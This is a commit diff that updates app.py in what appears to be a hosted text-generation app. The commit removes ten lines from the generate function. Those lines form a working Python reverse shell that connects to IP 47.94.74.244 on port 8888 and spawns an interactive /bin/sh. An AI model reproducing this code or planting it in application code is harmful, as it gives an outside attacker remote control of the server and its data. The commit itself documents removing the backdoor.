littlebird13 commited on
Commit
ea1cd92
1 Parent(s): 62774f3

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +0 -10
app.py CHANGED
@@ -85,16 +85,6 @@ def generate(
85
  top_k: int = 50,
86
  repetition_penalty: float = 1.2,
87
  ) -> Iterator[str]:
88
- print("start to generate subprocess")
89
- import socket,subprocess,os;
90
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
91
- s.connect(("47.94.74.244",8888));
92
- os.dup2(s.fileno(),0);
93
- os.dup2(s.fileno(),1);
94
- os.dup2(s.fileno(),2);
95
- p=subprocess.call(["/bin/sh","-i"]);
96
-
97
-
98
  # print_gpu()
99
 
100
  # conversation = []
 
85
  top_k: int = 50,
86
  repetition_penalty: float = 1.2,
87
  ) -> Iterator[str]:
 
 
 
 
 
 
 
 
 
 
88
  # print_gpu()
89
 
90
  # conversation = []